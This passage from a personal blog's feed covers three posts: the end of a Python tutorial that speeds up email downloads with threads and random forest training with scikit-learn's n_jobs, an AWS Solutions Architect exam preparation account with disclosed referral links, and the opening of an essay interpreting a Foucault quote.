&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    chunk &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; ids[i&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;chunk_size:(i&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;chunk_size]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    futures.append(executor.submit(download_emails, chunk))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; future &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; concurrent.futures.as_completed(futures):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    pass&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;Time:&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, time.time() &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; start)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Time taken :: &lt;code&gt;9.841094255447388&lt;/code&gt; seconds.&lt;/p&gt;
&lt;p&gt;As you can see, threading, sped it up considerably.&lt;/p&gt;
&lt;h2 id=&quot;scenario-classification-using-scikit-learn&quot;&gt;Scenario: Classification Using Scikit-Learn&lt;/h2&gt;
&lt;p&gt;Let’s say you have a classification problem, and you want to use a &lt;em&gt;random forest&lt;/em&gt; classifier for this. As it’s a standard and well-known machine learning algorithm, let’s not &lt;a href=&quot;https://en.wikipedia.org/wiki/Reinventing_the_wheel&quot;&gt;reinvent the wheel&lt;/a&gt; and just use &lt;code&gt;sklearn.ensemble.RandomForestClassifier&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The below code serves demonstration purposes. I have created a classification dataset using the helper function &lt;code&gt;sklearn.datasets.make_classification&lt;/code&gt;, then trained a &lt;code&gt;RandomForestClassifier&lt;/code&gt; on that. Also, I’m timing the part of the code that does the core work of fitting the model.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; sklearn.ensemble &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; RandomForestClassifier&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; sklearn &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; datasets&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; time&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;X, y &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; datasets.make_classification(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;n_samples&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;10000&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;n_features&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;50&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;n_informative&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;n_classes&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;start &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; time.time()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;model &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; RandomForestClassifier(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;n_estimators&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;500&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;model.fit(X, y)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;Time:&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, time.time()&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;start)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Time taken :: &lt;code&gt;34.17733192443848&lt;/code&gt; seconds.&lt;/p&gt;
&lt;p&gt;Now we’ll look into how we can reduce the running time of this algorithm. We know that this algorithm can be parallelized to some extent, but what kind of parallelization would be suitable? It does not have any IO bottleneck; on the contrary, it’s a very CPU intensive task. So multiprocessing would be the logical choice.&lt;/p&gt;
&lt;p&gt;Fortunately, &lt;code&gt;sklearn&lt;/code&gt; has already implemented multiprocessing into this algorithm and we won’t have to write it from scratch. As you can see in the code below, we just have to provide a parameter &lt;code&gt;n_jobs&lt;/code&gt;—the number of processes it should use—to enable multiprocessing.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; sklearn.ensemble &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; RandomForestClassifier&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; sklearn &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; datasets&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; time&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;X, y &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; datasets.make_classification(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;n_samples&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;10000&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;n_features&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;50&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;n_informative&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;n_classes&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;start &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; time.time()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;model &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; RandomForestClassifier(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;n_estimators&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;500&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;n_jobs&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;model.fit(X, y)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;Time:&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, time.time()&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;start)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Time taken :: &lt;code&gt;14.576200723648071&lt;/code&gt; seconds.&lt;/p&gt;
&lt;p&gt;As expected, multiprocessing made it quite a bit faster.&lt;/p&gt;
&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;Most if not all data science projects will see a massive increase in speed with parallel computing. In fact, many of the popular data science libraries already have parallelism built into them, &lt;em&gt;you just have to enable it&lt;/em&gt;. So before trying to implement it on your own, look through the documentation of the library you’re using and check if it supports parallelism. In case it doesn’t, this article should assist you in implementing it on your own.&lt;/p&gt;
&lt;h1 id=&quot;about-the-author&quot;&gt;About the Author&lt;/h1&gt;
&lt;p&gt;Sumit is a computer enthusiast who started programming at an early age; he’s currently finishing his master’s degree in computer science at IIT Delhi. Whenever he isn’t programming, you can probably find him either reading philosophy, playing the guitar, taking photos, or blogging. You can connect with Sumit on &lt;a href=&quot;https://twitter.com/SkullTech101&quot;&gt;Twitter&lt;/a&gt;, &lt;a href=&quot;https://www.linkedin.com/in/sumit-ghosh101&quot;&gt;LinkedIn&lt;/a&gt;, &lt;a href=&quot;https://github.com/SkullTech&quot;&gt;Github&lt;/a&gt;, and &lt;a href=&quot;https://sumit-ghosh.com/&quot;&gt;his website&lt;/a&gt;.&lt;/p&gt;
</content:encoded></item><item><title>My Preparation Strategy for AWS Solutions Architect Associate Exam</title><link>https://sumit-ghosh.com/posts/aws-solutions-architect-associate-preparation/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/aws-solutions-architect-associate-preparation/</guid><description>My Preparation Strategy for AWS Solutions Architect Associate Exam — by Sumit Ghosh.</description><pubDate>Wed, 31 Jul 2019 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;I just cleared the AWS solutions architect associate exam—secured 973 marks in a scale of 100 to 1000—and I want to share my preparation strategy for anyone that might benefit from it.&lt;/p&gt;
&lt;p&gt;Before starting my preparation, I looked around forums and subreddits for suggestions, and seemingly a popular suggestion was “A Cloud Guru video lectures and Whizlabs practice tests”. So I went with the popular vote and bought both of them.&lt;/p&gt;
&lt;h3 id=&quot;a-cloud-guru-video-lectures&quot;&gt;A Cloud Guru Video Lectures&lt;/h3&gt;
&lt;p&gt;The format of &lt;a href=&quot;https://acloudguru.com/&quot;&gt;&lt;em&gt;A Cloud Guru&lt;/em&gt;&lt;/a&gt; lectures is not very captivating, it’s the usual slideshow with narration. Still, it helped me get a overall understanding of how every service works and how everything fits together. Kudos to the instructor Ryan who is a great communicator. There was a few hands-on labs too which helped solidify what I learned. I did not take any notes while going through the lectures, as I thought the summary lectures at the end of each section would be enough for revision.&lt;/p&gt;
&lt;h3 id=&quot;whizlabs-practice-tests&quot;&gt;Whizlabs Practice Tests&lt;/h3&gt;
&lt;p&gt;After I was done with the video lectures, I started taking the Whizlabs practice tests. After each test, I reviewed the answers and took notes for the questions I had difficulties with. Now, Whizlabs has a lot of questions, so I learned many details about the various AWS services from reviewing them. Answering so many questions—some of which have very similar patterns—kind of lets you build a muscle memory for answering the more trivial questions quickly without hesitation.&lt;/p&gt;
&lt;h3 id=&quot;aws-reinvent-videos&quot;&gt;AWS re:Invent Videos&lt;/h3&gt;
&lt;p&gt;In between the Whizlabs tests, I watched some re:Invent videos—the ones on DynamoDB and VPC were super helpful in clearing my understanding. Also, the format of these conference talks were much more interesting and captivating than acloud.guru, that was a huge plus point.&lt;/p&gt;
&lt;h3 id=&quot;jon-bonsos-practice-tests&quot;&gt;Jon Bonso’s Practice Tests&lt;/h3&gt;
&lt;p&gt;With the above three, I started scoring consistently in the 80s in the Whizlabs practice tests. That made me confident and I started thinking about booking my exam appointment. And… then I fell sick. After a two-week hiatus I was ready to take the exam, but I was worried that I might have forgotten some stuff and my performance might not turn out to be good. So in order to brush up on my knowledge, I bought the practice tests by Jon Bonso on Udemy.&lt;/p&gt;
&lt;p&gt;The first two tests were a hit on my confidence as I couldn’t clear any of them. The questions were much more involved; the MCQ options were very similar and required careful interpretation of the problem statement. I was introduced to some new concepts through the questions too. As usual, I took notes after each test, from the questions I had difficulty with. From the third test onwards, I started scoring in the 80s, and that helped me reaffirm my confidence.&lt;/p&gt;
&lt;h3 id=&quot;the-exam&quot;&gt;The Exam&lt;/h3&gt;
&lt;p&gt;After the amount of preparation I did, the exam seemed of okayish difficulty to me—neither too easy, nor too hard. You get plenty of allotted time, so I went over each question twice and double-checked. Some questions were a bit tricky, but using the method of elimination I was able to arrive at an answer I was satisfied with.&lt;/p&gt;
&lt;h3 id=&quot;final-thoughts&quot;&gt;Final Thoughts&lt;/h3&gt;
&lt;p&gt;I just want to say that you should not depend entirely upon video lectures; practice tests are crucial to solidify your knowledge and expose you to the question patterns. Also, Whizlabs tests are somewhat easier than the actual exam, so don’t let that give you a false sense of confidence.&lt;/p&gt;
&lt;h3 id=&quot;links-for-resources&quot;&gt;Links for Resources&lt;/h3&gt;
&lt;p&gt;If this write-up was helpful to you in any way and if you want to say thanks, consider buying the study resources through the referral links below.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;A Cloud Guru&lt;/em&gt; video lectures — &lt;a href=&quot;https://click.linksynergy.com/deeplink?id=aosskmXRdYk&amp;amp;mid=39197&amp;amp;murl=https%3A%2F%2Fwww.udemy.com%2Faws-certified-solutions-architect-associate%2F&quot;&gt;Referral&lt;/a&gt;. &lt;a href=&quot;https://www.udemy.com/aws-certified-solutions-architect-associate/&quot;&gt;Non-referral&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Whizlabs practice tests — &lt;a href=&quot;https://www.whizlabs.com/aws-solutions-architect-associate/&quot;&gt;Non-referral&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Jon Bonso’s practice tests — &lt;a href=&quot;https://click.linksynergy.com/deeplink?id=aosskmXRdYk&amp;amp;mid=39197&amp;amp;murl=https%3A%2F%2Fwww.udemy.com%2Faws-certified-solutions-architect-associate-amazon-practice-exams%2F&quot;&gt;Referral&lt;/a&gt;. &lt;a href=&quot;https://www.udemy.com/aws-certified-solutions-architect-associate-amazon-practice-exams/&quot;&gt;Non-referral&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/SkullTech/aws-solutions-architect-associate-notes&quot;&gt;My notes on Github&lt;/a&gt;. Free and open source, no referral link here XD.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Best of luck on your AWS journey!!!&lt;/p&gt;
</content:encoded></item><item><title>Foucault: Saying Things as to No Longer Think Them</title><link>https://sumit-ghosh.com/posts/foucault-saying-things-as-to-no-longer-think-them/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/foucault-saying-things-as-to-no-longer-think-them/</guid><description>Foucault: Saying Things as to No Longer Think Them — by Sumit Ghosh.</description><pubDate>Wed, 17 Apr 2019 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;In &lt;a href=&quot;https://www.youtube.com/watch?v=qzoOhhh4aJg&quot;&gt;this&lt;/a&gt; 1971 interview, Foucault says and he stresses upon it,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I don’t say the things I say because they are what I think, I say them as a way to make sure they no longer are what I think.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;At least, that’s what the captioned subtitles claim what the English translation should be. Someone knowledgeable in French, even Google Translate, would say a better translation would be:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I don’t say the things because I think them, I say the things so as to no longer think them.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Just for reference, the original French is:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Je ne dis pas les choses parce que je les pense, je dis les choses pour ne plus les penser&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now that the original quote and possible translations are out of the way, I wanted to discuss what Foucault could’ve meant by this, and also how someone could possibly interpret this, keeping aside the authorial intent.&lt;/p&gt;
&lt;h3 id=&quot;getting-ideas-off-his-chest&quot;&gt;Getting ideas off his chest&lt;/h3&gt;
&lt;p&gt;He might be talking of &lt;em&gt;getting his ideas off his chest&lt;/em&gt;, like the popular English idiom goes. Rumination of an idea can plague philosophers in a certain way, and the only way to get rid of them would be getting them &lt;em&gt;out there&lt;/em&gt;, either through writing or speech. There is a definite parallel between this interpretation and the quote below;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“But then why do you write?&lt;/p&gt;
&lt;p&gt;A: I am not one of those who &lt;em&gt;think&lt;/em&gt; with a wet quill in hand; much less one of those who abandon themselves to their passions right before the open inkwell, sitting on their chair and staring at the paper. I am annoyed or ashamed by all writing; to me, writing is nature’s call - to speak of it even in simile is repugnant to me.&lt;/p&gt;
&lt;p&gt;B: But why, then, do you write?&lt;/p&gt;
&lt;p&gt;A: Well, my friend, I say this in confidence: until now I have found no other means of getting &lt;em&gt;rid&lt;/em&gt; of my thoughts.&lt;/p&gt;
&lt;p&gt;B: And why do you want to get rid of them?&lt;/p&gt;
&lt;p&gt;A: Why do I want to? Do I want to? I have to.”&lt;/p&gt;
&lt;p&gt;― Friedrich Nietzsche, The Gay Science&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Once we look at the &lt;em&gt;better&lt;/em&gt; translation, this interpretation might be the first one that we think of. But I don’t think this is what he meant at all; it becomes especially clear when we put the quote in context, as I’ll explain later.&lt;/p&gt;
&lt;h3 id=&quot;using-the-audience-as-sounding-board&quot;&gt;Using the audience as sounding board&lt;/h3&gt;
&lt;p&gt;Critical thinkers often use their audience as a sounding board for half-baked or adolescent ideas. This way, the resulting discourse could be source of new ideas, and the idea in discussion could be honed or discarded. Even if the thinker in question does not agree with the idea, he still could throw it in the discussion for the sake of inciting thoughts in his audience, perfecting his own philosophy in the meantime.&lt;/p&gt;
&lt;p&gt;Also I should mention that Foucault was seemingly an ENTP, and a typical characteristic of ENTP is their tendency to share abstract and not fully refined thoughts with their peers, as described in &lt;a href=&quot;https://www.typeinmind.com/neti&quot;&gt;this article&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;… ideas are usually shared with the world first and then analyzed afterwards.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So, it seems this interpretation is in line with his personality as defined by MBTI.&lt;/p&gt;
&lt;h3 id=&quot;knowledge-power-and-the-death-of-the-author&quot;&gt;Knowledge-power and the death of the author&lt;/h3&gt;
&lt;p&gt;We can interpret this quote drawing reference from one of the Foucault’s primary philosophies, the philosophy of the power inherent in knowledge and consequently speech.&lt;/p&gt;
&lt;p&gt;Thoughts in themselves do not have any effect upon the external world, when someone only thinks something, it’s private to him, it’s &lt;em&gt;his&lt;/em&gt; thought. But once he shares it with the world through any form of expression, the &lt;em&gt;death of the author&lt;/em&gt; occurs; the things are no longer confined within his ruminations, it becomes something else which is more active than thought. It becomes part of the general public discourse, involved with a certain form of power, which Foucault termed as &lt;em&gt;knowledge-power&lt;/em&gt;. Thoughts when articulated have a far greater impact than people realize, as he eloquently said,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“People know what they do; frequently they know why they do what they do; but what they don’t know is what what they do does.”&lt;/p&gt;
&lt;p&gt;― Michel Foucault, Madness and Civilization: A History of Insanity in the Age of Reason&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Foucault is claiming he articulates certain ideas to make sure what he says is able to move beyond the realm of thought, as thought is immaterial compared to discourse and the corresponding knowledge and the power associated with it.&lt;/p&gt;
&lt;h3 id=&quot;the-death-of-man&quot;&gt;The death of man&lt;/h3&gt;
&lt;p&gt;To put the quote in question in context, let me share more from the interview.&lt;/p&gt;
&lt;blockquote&gt;
